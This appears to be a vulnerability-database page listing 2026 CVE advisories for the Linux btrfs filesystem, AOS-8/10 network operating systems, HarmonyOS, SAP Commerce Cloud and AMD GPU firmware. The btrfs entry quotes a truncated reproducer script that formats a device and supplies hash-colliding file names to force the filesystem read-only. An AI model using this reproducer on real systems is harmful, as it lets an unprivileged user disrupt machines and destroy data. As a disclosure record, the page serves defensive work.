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CVE-2026-43360

btrfs: fix transaction abort on file creation due to name hash collision

In the Linux kernel, the following vulnerability has been resolved: btrfs: fix transaction abort on file creation due to name hash collision If we attempt to create several files with names that result in the same hash, we have to pack them in same dir item and that has a limit inherent to the leaf size. However if we reach that limit, we trigger a transaction abort and turns the filesystem into RO mode. This allows for a malicious user to disrupt a system, without the need to have administration privileges/capabilities. Reproducer: $ cat exploit-hash-collisions.sh #!/bin/bash DEV=/dev/sdi MNT=/mnt/sdi # Use smallest node size to make the test faster and require fewer file # names that result in hash collision. mkfs.btrfs -f --nodesize 4K $DEV mount $DEV $MNT # List of names that result in the same crc32c hash for btrfs. declare -a names=( 'foobar' '%a8tYkxfGMLWRGr55QSeQc4PBNH9PCLIvR6jZnkDtUUru1t@RouaUe_L:@xGkbO3nCwvLNYeK9vhE628gss:T$yZjZ5l-Nbd6CbC$M=hqE-ujhJICXyIxBvYrIU9-TDC' 'AQci3EUB%shMsg-N%frgU:02ByLs=IPJU0OpgiWit5nexSyxZDncY6WB:=zKZuk5Zy0DD$Ua78%MelgBuMqaHGyKsJUFf9s=UW80PcJmKctb46KveLSiUtNmqrMiL9-Y0I_l5Fnam04CGIg=8@U:Z' 'CvVqJpJzueKcuA$wqwePfyu7VxuWNN3ho$p0zi2H8QFYK$7YlEqOhhb%:hHgjhIjW5vnqWHKNP4' 'ET:vk@rFU4tsvMB0$C_p=xQHaYZjvoF%-BTc%wkFW8yaDAPcCYoR%x$FH5O:' 'HwTon%v7SGSP4FE08jBwwiu5aot2CFKXHTeEAa@38fUcNGOWvE@Mz6WBeDH_VooaZ6AgsXPkVGwy9l@@ZbNXabUU9csiWrrOp0MWUdfi$EZ3w9GkIqtz7I_eOsByOkBOO' 'Ij%2VlFGXSuPvxJGf5UWy6O@1svxGha%b@=%wjkq:CIgE6u7eJOjmQY5qTtxE2Rjbis9@us' 'KBkjG5%9R8K9sOG8UTnAYjxLNAvBmvV5vz3IiZaPmKuLYO03-6asI9lJ_j4@6Xo$KZicaLWJ3Pv8XEwVeUPMwbHYWwbx0pYvNlGMO9F:ZhHAwyctnGy%_eujl%WPd4U2BI7qooOSr85J-C2V$LfY' 'NcRfDfuUQ2=zP8K3CCF5dFcpfiOm6mwenShsAb_F%n6GAGC7fT2JFFn:c35X-3aYwoq7jNX5$ZJ6hI3wnZs$7KgGi7wjulffhHNUxAT0fRRLF39vJ@NvaEMxsMO' 'Oj42AQAEzRoTxa5OuSKIr=A_lwGMy132v4g3Pdq1GvUG9874YseIFQ6QU' 'Ono7avN5GjC:_6dBJ_' 'WHmN2gnmaN-9dVDy4aWo:yNGFzz8qsJyJhWEWcud7$QzN2D9R0efIWWEdu5kwWr73NZm4=@CoCDxrrZnRITr-kGtU_cfW2:%2_am' 'WiFnuTEhAG9FEC6zopQmj-A-$LDQ0T3WULz%ox3UZAPybSV6v1Z$b4L_XBi4M4BMBtJZpz93r9xafpB77r:lbwvitWRyo$odnAUYlYMmU4RvgnNd--e=I5hiEjGLETTtaScWlQp8mYsBovZwM2k' 'XKyH=OsOAF3p%uziGF_ZVr$ivrvhVgD@1u%5RtrV-gl_vqAwHkK@x7YwlxX3qT6WKKQ%PR56NrUBU2dOAOAdzr2=5nJuKPM-T-$ZpQfCL7phxQbUcb:BZOTPaFExc-qK-gDRCDW2' 'd3uUR6OFEwZr%ns1XH_@tbxA@cCPmbBRLdyh7p6V45H$P2$F%w0RqrD3M0g8aGvWpoTFMiBdOTJXjD:JF7=h9a_43xBywYAP%r$SPZi%zDg%ql-KvkdUCtF9OLaQlxmd' 'ePTpbnit%hyNm@WELlpKzNZYOzOTf8EQ$sEfkMy1VOfIUu3coyvIr13-Y7Sv5v-Ivax2Go_GQRFMU1b3362nktT9WOJf3SpT%z8sZmM3gvYQBDgmKI%%RM-G7hyrhgYflOw%z::ZRcv5O:lDCFm' 'evqk743Y@dvZAiG5J05L_ROFV@$2%rVWJ2%3nxV72-W7$e$-SK3tuSHA2mBt$qloC5jwNx33GmQUjD%akhBPu=VJ5g$xhlZiaFtTrjeeM5x7dt4cHpX0cZkmfImndYzGmvwQG:$euFYmXn$_2rA9mKZ' 'gkgUtnihWXsZQTEkrMAWIxir09k3t7jk_IK25t1:cy1XWN0GGqC%FrySdcmU7M8MuPO_ppkLw3=Dfr0UuBAL4%GFk2$Ma10V1jDRGJje%Xx9EV2ERaWKtjpwiZwh0gCSJsj5UL7CR8RtW5opCVFKGGy8Cky' 'hNgsG_8lNRik3PvphqPm0yEH3P%%fYG:kQLY=6O-61Wa6nrV_WVGR6TLB09vHOv%g4VQRP8Gzx7VXUY1qvZyS' 'isA7JVzN12xCxVPJZ_qoLm-pTBuhjjHMvV7o=F:EaClfYNyFGlsfw-Kf%uxdqW-kwk1sPl2vhbjyHU1A6$hz' 'kiJ_fgcdZFDiOptjgH5PN9-PSyLO4fbk_:u5_2tz35lV_iXiJ6cx7pwjTtKy-XGaQ5IefmpJ4N_ZqGsqCsKuqOOBgf9LkUdffHet@Wu' 'lvwtxyhE9:%Q3UxeHiViUyNzJsy:fm38pg_b6s25JvdhOAT=1s0$pG25x=LZ2rlHTszj=gN6M4zHZYr_qrB49i=pA--@WqWLIuX7o1S_SfS@2FSiUZN' 'rC24cw3UBDZ=5qJBUMs9e$=S4Y94ni%Z8639vnrGp=0Hv4z3dNFL0fBLmQ40=EYIY:Z=SLc@QLMSt2zsss2ZXrP7j4=' 'uwGl2s-fFrf@GqS=DQqq2I0LJSsOmM%xzTjS:lzXguE3wChdMoHYtLRKPvfaPOZF2fER@j53evbKa7R%A7r4%YEkD=kicJe@SFiGtXHbKe4gCgPAYbnVn' 'UG37U6KKua2bgc:IHzRs7BnB6FD:2Mt5Cc5NdlsW%$1tyvnfz7S27FvNkroXwAW:mBZLA1@qa9WnDbHCDmQmfPMC9z-Eq6QT0jhhPpqyymaD:R02ghwYo%yx7SAaaq-:x33LYpei$5g8DMl3C' 'y2vjek0FE1PDJC0qpfnN:x8k2wCFZ9xiUF2ege=JnP98R%wxjKkdfEiLWvQzmnW' '8-HCSgH5B%K7P8_jaVtQhBXpBk:pE-$P7ts58U0J@iR9YZntMPl7j$s62yAJO@_9eanFPS54b=UTw$94C-t=HLxT8n6o9P=QnIxq-f1=Ne2dvhe6WbjEQtc' 'YPPh:IFt2mtR6XWSmjHptXL_hbSYu8bMw-JP8@PNyaFkdNFsk$M=xfL6LDKCDM-mSyGA_2MBwZ8Dr4=R1D%7-mC ---truncated---

CVSS 3.1 · 5.5 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-23827

Unauthenticated Remote Code Execution via Heap Buffer Overflow in Network Management Service

A heap-based buffer overflow vulnerability exists in a Network management service of AOS-8 and AOS-10 that could allow an unauthenticated remote attacker to achieve remote code execution. Successful exploitation could allow an unauthenticated attacker to execute arbitrary code as a privileged user on the underlying operating system, potentially leading to a system compromise. Exploitation may also result in a denial-of-service (DoS) condition affecting the impacted system process.

CVSS 3.1 · 7.5 High EPSS < 1% KEV · Not listed
Vendors
CVE-2026-23826

Unauthenticated Denial of Service in AOS-8 Network Management Service

A vulnerability in a network management service of AOS-8 Operating System could allow an unauthenticated remote attacker to exploit this vulnerability by sending specially crafted network packets to the affected device, potentially resulting in a denial-of-service condition. Successful exploitation could cause the affected service process to terminate unexpectedly, disrupting normal device operations.

CVSS 3.1 · 7.5 High EPSS < 1% KEV · Not listed
Vendors
CVE-2026-23824

Unauthenticated Denial-of-Service via Crafted Messages in a Network Protocol Handling Component

Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service. Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.

CVSS 3.1 · 7.5 High EPSS < 1% KEV · Not listed
Vendors
CVE-2026-23825

Unauthenticated Denial-of-Service via Crafted Messages in a Network Protocol Handling Component

Vulnerabilities exist in a protocol-handling component of AOS-8 and AOS-10 Operating Systems. An unauthenticated attacker could exploit these vulnerabilities by sending specially crafted network messages to the affected service. Due to insufficient input validation, successful exploitation may terminate a critical system process, resulting in a denial-of-service condition.

CVSS 3.1 · 7.5 High EPSS < 1% KEV · Not listed
Vendors
CVE-2026-44873

Insufficient Session Invalidation on User Account Deactivation in AOS-8 Operating System

A session management vulnerability in AOS-8 allows previously authenticated users to retain network access after their accounts are administratively disabled. Existing sessions are not invalidated when credentials are revoked, enabling continued access until session expiration. An attacker with compromised credentials could exploit this behavior to maintain unauthorized access even after the account has been disabled.

CVSS 3.1 · 5.4 Medium EPSS < 1% KEV · Not listed
Vendors
CVE-2026-44874

Authenticated Arbitrary File Download via AOS-10 Web-Based Management Interface

A vulnerability exists in the web-based management interface of an AOS-10 Gateway that could allow an authenticated remote attacker to access sensitive files on the underlying operating system. Successful exploitation of this vulnerability could result in the disclosure of confidential system information, potentially enabling further attacks against the affected device.

CVSS 3.1 · 4.9 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-44865

Authenticated Command Injection Vulnerabilities in the Web-Based Management Interface of AOS-8 and AOS-10

Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

CVSS 3.1 · 7.2 High EPSS < 1% KEV · Not listed
Vendors
CVE-2026-41960

Permission Control Vulnerability in Huawei EMUI and HarmonyOS Calls Impacting Availability

Permission control vulnerability in calls. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS 3.1 · 5.8 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41966

Permission Control Vulnerability in HarmonyOS Smart Sensing Service Exposes Confidential Data

Permission control vulnerability in the smart sensing service. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS 3.1 · 5.6 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41968

Permission Control Vulnerability in HarmonyOS Manufacturability Design Module Impacting Availability

Permission control vulnerability in the manufacturability design module. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS 3.1 · 5.9 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41964

Permission Control Vulnerability in Huawei HarmonyOS Web Interface

Permission control vulnerability in the web. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS 3.1 · 8.4 High EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41971

Permission Control Vulnerability in HarmonyOS Security Control Module

Permission control vulnerability in the security control module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS 3.1 · 5.5 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41961

Permission Control Flaw in HarmonyOS Contacts Impacting Availability

Permission control vulnerability in contacts. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS 3.1 · 5.9 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41967

Manufacturability Design Module Permission Control Vulnerability

Permission control vulnerability in the manufacturability design module. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS 3.1 · 5.9 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41969

Permission control vulnerability in the projection module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS 3.1 · 6.2 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41970

Out-of-bounds Write in Huawei Distributed File System Module

Out-of-bounds write vulnerability in the distributed file system module. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS 3.1 · 6.8 Medium EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-41963

HarmonyOS Media Platform Stack Overflow Affecting Availability

Stack overflow vulnerability in the media platform. Impact: Successful exploitation of this vulnerability may affect availability.

CVSS 3.1 · 2.8 Low EPSS < 1% KEV · Not listed
Vendors
Products
CVE-2026-34263

Missing authentication check in SAP Commerce cloud configuration

Due to improper Spring Security configuration, SAP Commerce Cloud allows an unauthenticated user to perform malicious input injection, resulting in arbitrary server-side code execution, leading to high impact on Confidentiality, Integrity, and Availability of the application.

CVSS 3.1 · 9.6 Critical EPSS < 1% KEV · Not listed
Vendors
CVE-2026-0427

Improper cleanup of GPU shared register resources enabling cross‑VM data leakage

Improper cleanup of shared register resources in GPU firmware could allow an admin-privileged attacker from a Guest Virtual machine (VM) to access these shared resources from another Guest VM, potentially resulting in the loss of confidentiality, integrity, or availability.

CVSS 4.0 · 4.6 Medium EPSS < 1% KEV · Not listed
Vendors
Amd